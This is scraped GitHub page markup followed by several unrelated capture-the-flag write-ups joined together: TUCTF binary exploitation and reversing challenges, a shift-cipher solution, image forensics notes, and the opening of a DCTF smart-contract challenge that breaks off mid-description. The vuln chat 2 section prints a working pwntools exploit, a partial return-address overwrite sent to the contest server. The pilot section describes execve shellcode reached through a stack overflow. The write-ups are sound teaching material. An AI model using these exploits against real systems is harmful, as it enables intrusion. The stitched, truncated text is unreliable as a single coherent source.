<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/laxa/write-ups/refs" cache-key="v0:1495556786.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bGF4YS93cml0ZS11cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/laxa/write-ups/refs" cache-key="v0:1495556786.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bGF4YS93cml0ZS11cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups</span></span></span><span>/</span><span><span>Grehack 2017</span></span><span>/</span>exploit200<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>write-ups</span></span></span><span>/</span><span><span>Grehack 2017</span></span><span>/</span>exploit200<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/laxa/write-ups/tree-commit/0808aafcb833dc8abcf422ab1dffd9a6d0483f6b/Grehack%202017/exploit200" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/laxa/write-ups/file-list/master/Grehack%202017/exploit200"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>1510917209.37_chall</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# pilot#### droofe
This challenge was the lowest point pwnable, 75 points. When I ran the program, I got the prompt...

After adding some basic input, I realized nothing was happening, time to start the RE. After the initial RE I learned this was exploitable via a basic buffer overflow, as the stack was created with 32 bytes of space and further into the program, there is a read call into a buffer on the stack where `n` is 64 bytes. After further inspection I saw there was no stack cookie being validated, and the address of the buffer was given by the program.
|  |  |
In order to find the offset into RIP, I used the standard _test with the alphabet_ method, giving the input `AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM`.

This yielded the offset of 40 bytes into the buffer being where our value for RIP needs to be. A few issues I had were with my shellcode. Originally I assumed that I had 40 bytes of space to write shellcode with. However, I forgot that `rbp` and nearby values get clobbered as `leave` gets ran, so I had to shorten my payload to < 25 bytes.
`pilot.py` is the exploit I created. It uses pwntools to open the process or remote service, read the address of the buffer, and send the shellcode assembled from `code.asm`. The shellcode does a syscall to `execve(["/bin/sh"],[],[])`, which ultimately lands us the shell.
 |
# vuln chat 2
Let's take a look at that binary:
```$ file vuln-chat2.0 vuln-chat2.0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=093fe7a291a796024f450a3081c4bda8a215e6e8, not stripped$ pwn checksec vuln-chat2.0 [*] '/Hackery/tuctf/vuln_chat2/vuln-chat2.0' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)```
Let's run the elf to see what it does:
```$ ./vuln-chat2.0 ----------- Welcome to vuln-chat2.0 -------------Enter your username: guyinatuxedoWelcome guyinatuxedo!Connecting to 'djinn'--- 'djinn' has joined your chat ---djinn: You've proven yourself to me. What information do you need?guyinatuxedo: The flagdjinn: Alright here's you flag:djinn: flag{1_l0v3_l337_73x7}djinn: Wait thats not right...```
The flag it gave us there is not the correct flag.
So we can see that it is pretty similar to the previous challenge. It prints texts, and prompts us for input twice. Let's take a look at the code (the part we will be looking at is the `doThings` function):
```int doThings(){ char buf[20]; // [sp+1h] [bp-27h]@1 char username[15]; // [sp+15h] [bp-13h]@1
puts("----------- Welcome to vuln-chat2.0 -------------"); printf("Enter your username: "); __isoc99_scanf("%15s", username); printf("Welcome %s!\n", username); puts("Connecting to 'djinn'"); sleep(1u); puts("--- 'djinn' has joined your chat ---"); puts("djinn: You've proven yourself to me. What information do you need?"); printf("%s: ", username); read(0, buf, 0x2Du); puts("djinn: Alright here's you flag:"); puts("djinn: flag{1_l0v3_l337_73x7}"); return puts("djinn: Wait thats not right...");}```
So we can see that it scans in 15 bytes of data into the char array `username`, so we can't overflow that. However it scans `0x2d` (45) bytes into `buf` which is only 20 bytes so we can overflow that. Let's take a look at the stack:
```-00000027 buf db 20 dup(?)-00000013 username db 15 dup(?)-00000004 var_4 dd ?+00000000 s db 4 dup(?)+00000004 r db 4 dup(?)```
Let's find the offset between `buf` and the return address:
```>>> 0x4 - -0x2743```
So offset is 43 bytes. So we can only overwrite the last two bytes of the return address. However luckily for us there is a function called `printFlag` which will print out the flag for us. When this function is called, the return address will be `0x8048668`, since that is the next instruction in main after `doThings` is called. Let's find the address of `printFlag`:
```gdb-peda$ p printFlag$1 = {<text variable, no debug info>} 0x8048672 <printFlag>```
So the address of `printFlag` is `0x8048672`. Even though we can write only to the last two bytes of the return address, we can still call `printFlag`. This is because the first two bytes is the same, so we only need to overwrite the last two bytes to call `printFlag`. With this we can write our exploit:
```#Import pwntoolsfrom pwn import *
#Establish the target#target = process('vuln-chat2.0')target = remote('vulnchat2.tuctf.com', 4242)
#Print out the text up to the username promptprint target.recvuntil('Enter your username: ')
#Send the username, doesn't really mattertarget.sendline('guyinatuxedo')
#Print the text up to the next promptprint target.recvuntil('guyinatuxedo: ')
#Construct the payload, and send itpayload = `0`*0x2b + "\x72\x86"target.sendline(payload)
#Drop to an interactive shelltarget.interactive()```
when we run the exploit:
```$ python exploit.py [+] Opening connection to vulnchat2.tuctf.com on port 4242: Done----------- Welcome to vuln-chat2.0 -------------Enter your username: Welcome guyinatuxedo!Connecting to 'djinn'--- 'djinn' has joined your chat ---djinn: You've proven yourself to me. What information do you need?guyinatuxedo: [*] Switching to interactive modedjinn: Alright here's you flag:djinn: flag{1_l0v3_l337_73x7}djinn: Wait thats not right...Ah! Found itTUCTF{0n3_by73_15_4ll_y0u_n33d}Don't let anyone get ahold of this[*] Got EOF while reading in interactive$ [*] Interrupted[*] Closed connection to vulnchat2.tuctf.com port 4242```
Just like that, we captured the flag! |
# funmail 2
Let's take a look at the elf:
```$ file funmail2.0 funmail2.0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1f665e0c6a35cc43b1963a0d9e9dc9645da8d81e, not stripped$ ./funmail2.0 -------------------------------------------------------------------------------------------------------------------------------------------------| # # || # # # ###### # #### #### # # ###### ##### #### ###### # # # # # # ## # # || # # # # # # # # # ## ## # # # # # # # ## # ## ## # # # # || # # # ##### # # # # # ## # ##### # # # ##### # # # # # # ## # # # # # 2.0 || # # # # # # # # # # # # # # # # # # # # # # ###### # # || # # # # # # # # # # # # # # # # # # # ## # # # # # # || ## ## ###### ###### #### #### # # ###### # #### # #### # # # # # # # ###### |------------------------------------------------------------------------------------------------------------------------------------------------- --Please login--Username: root*We have no users with the username: 'root' --Please login--Username: ^C```
So it is a 32 bit elf, that when we run it, it prompts us for a username and probably a password. Let's take a look at the main function:
``` strcpy(jgalt, "john galt"); printWelcome(); while ( 1 ) { while ( 1 ) { puts("\t--Please login--"); printf("Username: "); if ( getLine(&username_input, 64) ) { puts("Input is too long"); return 1; } if ( !strcmp(&username_input, jgalt) ) break; printf("*We have no users with the username: '%s'\n", &username_input); } printf("Password: "); if ( getLine(&password_input, 64) ) { puts("Input is too long"); return 1; } if ( !strcmp(&password_input, password) ) break; puts("*Incorrect password"); } printf("\tWelcome %s!\n", &username_input); puts(&s); puts("ERROR! Program failed to load emails.\nTerminating"); puts(&v7;; return 0;}```
So we can see here that the correct username is `john galt` and that the correct password is `more-secure-password` (double click on `password` to see it's value). However successfully authenticating doesn't do anything for us. When we look at the list of functions, we can see that it has `printFlag`. Let's try jumping to it in gdb:
```gdb-peda$ b *mainBreakpoint 1 at 0xb24gdb-peda$ rStarting program: /Hackery/tuctf/funmail2/funmail2.0
[----------------------------------registers-----------------------------------]EAX: 0xf7fafdbc --> 0xffffd1cc --> 0xffffd395 ("CLUTTER_IM_MODULE=xim")EBX: 0x0 ECX: 0x7f2b0de4 EDX: 0xffffd154 --> 0x0 ESI: 0x1 EDI: 0xf7fae000 --> 0x1b5db0 EBP: 0x0 ESP: 0xffffd12c --> 0xf7e10276 (<__libc_start_main+246>: add esp,0x10)EIP: 0x56555b24 (<main>: lea ecx,[esp+0x4])EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x56555b1f <showEmails+243>: mov ebx,DWORD PTR [ebp-0x4] 0x56555b22 <showEmails+246>: leave 0x56555b23 <showEmails+247>: ret => 0x56555b24 <main>: lea ecx,[esp+0x4] 0x56555b28 <main+4>: and esp,0xfffffff0 0x56555b2b <main+7>: push DWORD PTR [ecx-0x4] 0x56555b2e <main+10>: push ebp 0x56555b2f <main+11>: mov ebp,esp[------------------------------------stack-------------------------------------]0000| 0xffffd12c --> 0xf7e10276 (<__libc_start_main+246>: add esp,0x10)0004| 0xffffd130 --> 0x1 0008| 0xffffd134 --> 0xffffd1c4 --> 0xffffd372 ("/Hackery/tuctf/funmail2/funmail2.0")0012| 0xffffd138 --> 0xffffd1cc --> 0xffffd395 ("CLUTTER_IM_MODULE=xim")0016| 0xffffd13c --> 0x0 0020| 0xffffd140 --> 0x0 0024| 0xffffd144 --> 0x0 0028| 0xffffd148 --> 0xf7fae000 --> 0x1b5db0 [------------------------------------------------------------------------------]Legend: code, data, rodata, value
Breakpoint 1, 0x56555b24 in main ()gdb-peda$ j *printFlagContinuing at 0x56555785.TUCTF{l0c4l_<_r3m073_3x3cu710n}[Inferior 1 (process 20452) exited normally]Warning: not running or target is remote```
Just like that, we captured the flag! |
After connecting to the server you will be asked to provide some input text, which will be encrypted and return to you.Then you will receive another encrypted message to decrypt.
If you feed the server sequential characters you will notice that you receive sequential characters back.For example:
** ABCDEFGHIJK**
might return
** MNOPQRSTUVW**
so it's a simple shift cipher.
From there you can figure out the character set by feeding it sequential characters over and over until you have mapped out the full chain of characters.The full character set, in order is:
`"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_abcdefghijklmnopqrstuvwxyz{|}~ !\"#$%&'()*+,-./0123456789:;<=>?@"`
Now you can just connect to the server, send it a capital A and check what is returned to find the shift for that particular round.From there you can reference the character set and use the shift to decrypt the message.For example:
If you send **A** and receive **D** your shift for this round is **3**.
If you then receive the message "**SZQ**"
you can just shift them 3 characters backwards to receive "**PWN**"
After decrypting 50 messages the server will send you the flag!
The final python script to receive the flag using pwntools is in the linked github address. |
tl;dr
1.jpg was solved via strings, 2.jpg was solved via foremost/binwalk, 3 required fixing the width.
[Link: Competitive Cyber Club](https://competitivecyber.club/articles/tuctf-thousand-words/) |
Funmail is the first RE challenge and simply requires you to login as john galt and read his email.John Galts password can be found with a simple strings search.
For pretty pictures and the associated binary see the github writeup! |
## spock-lizard-beta
### DescriptionI've learned a lot from alpha version and I've come up with some improvements. Let's see how it goes now. Are you strong enough?
The victim: https://dctf.def.camp/finals-2017-lpmjksalfka/DctfChall2.solThe API: beta.dctf-f1nals-2017.def.campTransaction API: https://dctf.def.camp/finals-2017-lpmjksalfka/sample2.html
*PS: I've made a cron to reset blockchain so you won't have to wait too much for minning.*
### Author: Andrei
### Stats: 400 points / 0 solvers
### SolutionBased on the challenge description, you receive two APIs with some functionalities such as:- get_balance: returns the number of ETH a wallet holds- new_cold_wallet: create a wallet which can be unlocked by a password- send_money: send eth to other account- call_contract: call a function from a smart contract- get_flag: returns the flag if you solved the problem- get_victim: returns a smart contract address which is supposed to be the target for the game- play_the_game: a function that spawns a game between a victim smart contract and another player
